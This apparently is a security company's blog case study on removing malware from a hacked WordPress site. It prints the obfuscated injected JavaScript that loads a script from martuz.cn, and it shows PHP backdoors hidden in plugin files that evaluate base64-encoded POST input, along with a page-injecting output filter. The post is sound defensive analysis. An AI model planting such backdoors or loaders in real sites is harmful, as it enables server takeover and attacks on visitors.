Removing Malware from a WordPress blog – Case Study

Early this week we were hired to remove some malware from a quite popular web site. The malicious code was there for a little while and the site got blacklisted by google. That’s how the owner noticed it.

Everytime someone tried to visit it (either using Chrome or Firefox) or searched for this site on google, that ugly “Report attack Site” message would show up.

Uh-oh, not good for a site owner that makes money with ads and can’t afford losing users. If they had been using our Web-based Integrity monitor, that would not have happened, but since they didn’t, now it was time to fix the problem.

1-Understanding the problem

The first thing we did was to look where and how the code was showing up. We used a simple dump tool to see the source page (lynx is a command-line tool available on most Linux systems):

$lynx –source –dump [siteinquestion]

It shows the whole page source and by analyzing it we saw the following strange javascript (a bit modified to protect the innocent):

(function(){var OgDs=’%';var FJQr=(‘v_61r_20_61_3d_22Scr_69ptEn_67_69ne_22_2c_62_3d_22_56ers_69on()+_
22_2cj_3d… _64ex_4ff(_22Chrome_22_29_3c0)_26_26(u_2ei_6ede_78_4ff
(_22_57_69_6e_22)_3e0).._3b_7d’).replace(/_/g,OgDs);var NF1=unescape(FJQr);eval(NF1)})();

We also used our site scanner (free) and it confimed that it was indeed malicious.

2-Analyzing the javascript

There are multiple ways to analyze a malicious Javascript, and we chose the easier one. We see that they added an escaped javascript, unescaped and used the function eval to parse the content. I copied over the javascript to a local file and modified the final “eval” function for the “alert” one. Now, instead of executing the code, it will print it.

var a=”ScriptEngine”,b=”Version()+”,j=”",u=navigator.userAgent;if((u.indexOf(“Chrome”)<0)&&(u.indexOf(“Win”)>0)&&(u.indexOf(“NT 6″)<0)&&(document.cookie.indexOf(“miek=1″)<0)&&(typeof(zrvzts)!=typeof(“A”))){zrvzts=”A”;eval(“if(window.”+a+”)j=j+”+a+”Major”+b+a+”Minor”+b+a+”Build”+b+”j;”);document.write(“src=//martu”+”z.cn/vid<\/ script>”);}

So, the unescaped code loads another script from the site martuz.cn. After searching a bit, this seems to be an old attack (from mid-2009), that somehow is still running around. The martuz.cn is now unreachable, so the good news is that the attack is not doing anything against the users.

3-Cleaning up WordPress

Once we found what the code was and what it was doing, now it was time to remove it from the site. That’s what we did:

1. Backup the whole WordPress database (using the Export tool and via an SQL dump)
2. Back the whole WordPress directory for analysis and removed it from the site
3. Changed all passwords, unused accounts and services and cleaned up the box
4. Reinstalled WordPress from scratch (last version), re-imported the database (after checking that it was safe) and reinstalled their theme from scratch (to make sure it was not hacked too).
5. Worked with Google to get the site removed from their blacklist

4-Analysis of the malware

Once the site was clean and the client happy, we went to do a better analysis of the attack. First, we did a diff between their WordPress version and the original one (they were on version 2.8):

$ diff -r -i –strip-trailing-cr -b -B sitedump/public_html wordPress
Only in sitedump/public_html/wp-content/plugins: multi-level-navigation-plugin1
Only in sitedump/public_html/wp-content/plugins: order-categories
Only in sitedump/public_html/wp-content/plugins: seo-automatic-links
Only in sitedump/public_html/wp-content/plugins: wp-contact-form
Only in sitedump/public_html/wp-content/plugins: wp-db-backup

We also did a diff between the original theme and the one they used and no major changes were found. With that, it was clear to us that the problem was in one of the plugins.

We started by searching for that javascript code in the plugins directory and nothing was returned. That means that the code was probably escaped (hidden) in some way. So we searched for base64_decode or eval (PHP functions generally used by malware authors):

multi-level-navigation-plugin1/images/image.php:< ? php eval(base64_decode(‘aWYoaXNzZXgkX..IzMDM4MmUzMjMxMzIzYTY0Njk2ODY1NzQ2MTc
yNjkzYTYyNzQ2YzY0NmY3YTY1NzInOw==’)); ?>
multi-level-navigation-plugin1/images/gifimg.php:< ? php eval(base64_decode(‘aWYoaXNzZX..zZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==’)); ?>
wp-db-backup/wp-db-backup.php:< ? php if(!function_exists(‘tmp_lkojfghx’)){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);
if(!defined(‘TMP_XHGFJOKL’))define(‘TMP_XHGFJOKL’,base64_decode(‘PHNjcml
wdCBsYW5ndWFnZT1qYXZhc..2NyaXB0PjwhLS0gCPC9zY3JpcHQ+’));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all(‘#< script(.*?)#is’,$s,$a))foreach($a[0] as $v)if(count(explode(“\n”,$v))>5){$e=preg_match(‘#[\'"][^\s\'"\.,;\?!\[\]:/
\(\)]{30,}#’,$v)||preg_match(‘#[\(\[](\s*\d+,){20,}#’,$v);if((preg_match(‘#\beval\b#’,$v)&&($e||strpos($v,’fromCharCode’)))||($e&&strpos;($v,’document.write’)))$s=str_replace($v,”,$s);}$s1=preg_replace(‘#< script language=javascript>< !– \n\(function\(.+?\n –>#’,”,$s);if(stristr($s,’< body’))$s=preg_replace(‘#(\s*< body)#mi’,TMP_XHGFJOKL.’\1′,$s1);elseif(($s1!=$s)||stristr($s,’ < /body’)||stristr($s,’< /title>’))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl']
,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])==’tmp_lkojfghx’)return;else $s[]=array($a==’default output handler’?false:$a);for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(‘tmp_lkojfghx’);for($i=0;$

So, these 3 files wp-db-backup/wp-db-backup.php, image.php and gifimg.php had possibly something hidden. To analyze the code, we did the same thing we did with Javascript. We modified the “eval” function for “echo” to see what it was doing. On the wp-db-backup.php we removed the encoded string and decoded it externally using the base64 command line tool:

$ php multi-level-navigation-plugin1/images/image.php
if(isset($_POST['e']))eval(base64_decode($_POST['e']));echo ’32303d2e34332e3230382e3231323a64696865746172693a62746c646f7a6572′;
$ php multi-level-navigation-plugin1/images/gifimg.php
if(isset($_POST['e']))eval(base64_decode($_POST['e']));

Analysis for the wp-db-backup.php:

echo ‘PHNjcmlwdCB..pOwogLS0+PC9zY3JpcHQ’ | base64 -d
< script language=javascript>>!–
(function(){var OgDs=’%';var FJQr=(‘v_61r_20_61r_2eu_j_3b_22)_3b_64_6fc_75ment_2e_77_72ite(_22_3cscr
_69pt_20src_3d_2f_2f_6da_72_74_75_22+_22_7a_2ec_6e_2f_76_69d_2f_3fid_
3d_22_2bj+_22_3e_3c_5c_2fscript_3e_22)_3b_7d’).r
eplace(/_/g,OgDs);var NF1=unescape(FJQr);eval(NF1)})();

So, all of them had a backdoor to allow the attacker to execute any PHP script (and command) they wanted on the box (see eval(POST)) and the wp-db-backup.php had this script to create the malicious javascript on all the pages.

Lessons learned

First, always monitor your systems. If they had a HIDS installed (like the open source OSSEC) it would had detected the modification on those files.

Second, if they had used our Web-based Integrity monitor this problem would be detected way earlier too.

Third: Keep your log files stored longer. Our analysis was not as completed, because we couldn’t go back in time to see when it happened.

Fourth: Backup your site on a daily basis! If they had a backup, we could diff everything to see what happened (and easily revert the changes).

Lastly, keep your WordPress updated and use strong passwords! That’s your first line of defense to avoid these problems.